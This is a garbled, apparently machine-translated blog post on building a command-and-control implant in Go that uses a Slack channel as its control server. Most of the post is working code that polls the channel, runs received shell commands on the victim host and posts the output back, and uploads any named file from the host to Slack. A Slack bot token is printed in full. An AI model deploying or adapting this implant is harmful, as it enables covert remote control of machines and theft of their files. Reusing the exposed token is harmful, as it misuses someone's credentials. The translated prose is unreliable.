using golang slack editing C2

Recently enrolled in school golang, good looking demon analytical golang slack c2, self-conceived self-portrait.

Placement slack

Note: No. Question https://api.slack.com/ Point 击 Start Building image.png

One piece app image.png

Left side ʻOAuth & Permissions-> Scopes` placement token qualification, dawn destination placement two, re-added.

image.png

After that, the turning point ʻInstall App to Workspace`

image.png

Point allow, the interface of the automatic jumping token interface, and the individual token.

image.png

xoxb-1413293450689-1403506559507-aWLcahb6cGLZWGHF61QPV17S

One piece channel image.png

Included channel https://app.slack.com/client/T01C58MD8L9/C01BS6GEUJH Medium C01BS6GEUJH image.png

Passing / invite @myslackbot Grip bot Kazuto Michiri.

After that, https://api.slack.com/methods operation bot-like possession api, pre-existing https://api.slack.com/methods/conversations.history/test

Placement good token sum channel ID image.png

Point test Nogo Chatter image.png

image.png

It's a simple flow, and it's a golang operation api.

golang editing

package main

import (
	"bytes"
	"fmt"
	"github.com/tidwall/gjson"
	"io"
	"io/ioutil"
	"log"
	"mime/multipart"
	"net/http"
	"os"
	"os/exec"
	"path/filepath"
	"strconv"
	"strings"
	"time"
)

const (
	HistoryApi  = "https://slack.com/api/conversations.history"
	PostMessage = "https://slack.com/api/chat.postMessage"
	FileUpload  = "https://slack.com/api/files.upload"
	Token       = "xoxb-1413293450689-1403506559507-aWLcahb6cGLZWGHF61QPV17S"
	Channel     = "C01BS6GEUJH"
)

var Timer = 10

func sleep() {
	fmt.Sprintf("sleep %s",Timer)
	time.Sleep(time.Duration(Timer) * time.Second)
}
func main() {
	for true {
		result := ApiGet(HistoryApi, "messages.0.text")
		if strings.HasPrefix(result.Str, "shell") {
			cmdRes := ExecCommand(strings.Split(result.Str, " ")[1:])
			ApiPost(cmdRes, PostMessage)
		} else if strings.HasPrefix(result.Str, "exit") {
			os.Exit(0)
		} else if strings.HasPrefix(result.Str, "sleep") {
			s := strings.Split(result.Str, " ")[1]
			atoi, err := strconv.Atoi(s)
			if err != nil {
				ApiPost(err.Error(), PostMessage)
			}
			Timer = atoi
		} else if strings.HasPrefix(result.Str, "download") {
			filename := strings.Split(result.Str, " ")[1]
			ApiUpload(filename)
		}	else {
			fmt.Println("no command")
		}
		sleep()
	}
}

func ExecCommand(command []string) (out string) {
	fmt.Println(command)
	cmd := exec.Command(command[0], command[1:]...)
	o, err := cmd.CombinedOutput()

	if err != nil {
		out = fmt.Sprintf("shell run error: \n%s\n", err)
	} else {
		out = fmt.Sprintf("combined out:\n%s\n", string(o))
	}
	return
}

func ApiGet(apiUrl string, rule string) gjson.Result {
	r, err := http.NewRequest("GET", apiUrl, nil)
	query := r.URL.Query()
	query.Add("token", Token)
	query.Add("channel", Channel)
	query.Add("pretty", "1")
	query.Add("limit", "1")
	r.URL.RawQuery = query.Encode()
	response, err := http.DefaultClient.Do(r)
	defer response.Body.Close()
	if err != nil {
		return gjson.Result{}
	}
	bytes, _ := ioutil.ReadAll(response.Body)
	//fmt.Println(string(bytes))
	return gjson.GetBytes(bytes, rule)
}
func ApiPost(text string, apiUrl string) {
	var r http.Request
	r.ParseForm()
	r.Form.Add("token", Token)
	r.Form.Add("channel", Channel)
	r.Form.Add("pretty", "1")
	r.Form.Add("text", text)
	r.Form.Add("mrkdwn", "false")
	body := strings.NewReader(r.Form.Encode())
	response, err := http.Post(apiUrl, "application/x-www-form-urlencoded", body)
	if err != nil {
		return
	}
	bytes, _ := ioutil.ReadAll(response.Body)
	ok := gjson.GetBytes(bytes, "ok")
	fmt.Println(ok)
}
func ApiUpload(filename string) {
	//fmt.Println(filename)
	//Form
	//For CreateFormFile, the first argument, the first argument, the second argument, the subject.
	buf := new(bytes.Buffer)
	writer := multipart.NewWriter(buf)
	writer.WriteField("token", Token)
	writer.WriteField("pretty", "1")
	writer.WriteField("channels", Channel)
	//writer.WriteField("filetype", "text")
	formFile, err := writer.CreateFormFile("file", filepath.Base(filename))
	if err != nil {
		log.Fatalf("Create form file failed: %s\n", err)
	}

	//Number of documents, copy table
	srcFile, err := os.Open(filename)
	if err != nil {
		log.Fatalf("%Open source file failed: s\n", err)
	}
	defer srcFile.Close()
	_, err = io.Copy(formFile, srcFile)
	if err != nil {
		log.Fatalf("Write to form file falied: %s\n", err)
	}

	//Transmission table
	contentType := writer.FormDataContentType()
	writer.Close() //Close for transmission()Subsequent line
	_, err = http.Post(FileUpload, contentType, buf)
	if err != nil {
		log.Fatalf("Post failed: %s\n", err)
	}
	//all, err := ioutil.ReadAll(resp.Body)
	//fmt.Println(string(all))
}

Negative effect

https://www.bilibili.com/video/BV1uk4y1C7oP/

Self-reliance, slack-like API, slack-like API, slack-like API.

Recommended Posts

using golang slack editing C2
Type-aware using c ++ templates
Using X11 with ubuntu18.04 (C)
Boundary between C and Golang
I tried using Slack emojinator
C code review tool using pycparser
Easy with Slack using Bot #NowPlaying
Create a C wrapper using Boost.Python